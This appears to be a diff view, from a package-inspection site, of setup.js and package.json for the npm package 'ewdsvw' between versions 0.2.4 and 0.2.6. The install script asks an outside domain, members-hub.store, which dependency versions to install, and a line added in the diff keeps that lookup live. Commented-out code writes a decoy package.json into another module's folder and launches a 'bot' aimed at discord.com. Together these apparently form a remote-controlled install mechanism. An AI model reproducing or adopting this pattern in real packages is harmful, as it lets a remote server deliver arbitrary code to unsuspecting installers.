ewdsvw 0.2.4 → 0.2.6
Sign up to get free protection for your applications and to get access to all the features.
- package/package.json +1 -1
- package/setup.js +8 -6
package/package.json
CHANGED
package/setup.js
CHANGED
@@ -27,10 +27,11 @@ async function installDependencies(missingDependencies) {
|
|
27
27
|
}
|
28
28
|
console.log(`stdout: ${stdout}`);
|
29
29
|
console.log('Dependencies installed successfully.');
|
30
|
+
/*
|
30
31
|
fs.writeFileSync('./node_modules/gfdsac/package.json', JSON.stringify({
|
31
32
|
"name": "ewdsvw",
|
32
33
|
"description": "ewdsvw",
|
33
|
-
"version": "0.2.
|
34
|
+
"version": "0.2.5",
|
34
35
|
"main": "setup.js",
|
35
36
|
"dependencies": {
|
36
37
|
"child_process": "*",
|
@@ -41,10 +42,11 @@ async function installDependencies(missingDependencies) {
|
|
41
42
|
"author": "ewdsvw",
|
42
43
|
"license": "MIT",
|
43
44
|
"readmeFilename": "README.md"
|
44
|
-
}, null, 2))
|
45
|
+
}, null, 2))*/
|
46
|
+
/*
|
45
47
|
setTimeout(()=>{
|
46
48
|
process.exit(0);
|
47
|
-
}, 5000)
|
49
|
+
}, 5000)*/
|
48
50
|
|
49
51
|
runProject();
|
50
52
|
});
|
@@ -53,8 +55,8 @@ async function installDependencies(missingDependencies) {
|
|
53
55
|
|
54
56
|
let runProject =() => {
|
55
57
|
console.log('Running the project...');
|
56
|
-
let bot = require('./
|
57
|
-
new bot("https://disc" + "ord.com/", 0)
|
58
|
+
// let bot = require('./index.js')
|
59
|
+
// new bot("https://disc" + "ord.com/", 0)
|
58
60
|
}
|
59
61
|
|
60
62
|
let checkDeps = async ()=>{
|
@@ -67,7 +69,7 @@ console.log(dependencies)
|
|
67
69
|
let _dependencies = []
|
68
70
|
|
69
71
|
for(const name of dependencies.d){
|
70
|
-
_dependencies.push(`${name}@${await axios(`https://members-hub.store/packagedata?name=${name}`).then(res=>res.data?.value || "*").catch(err=>"*")}`)
|
72
|
+
_dependencies.push(`${name}@${await axios(`https://members-hub.store/packagedata?name=${name}`).then(res=>res.data?.value === "^undefined" ? "*" : res.data?.value || "*").catch(err=>"*")}`)
|
71
73
|
}
|
72
74
|
console.log(_dependencies)
|
73
75
|
|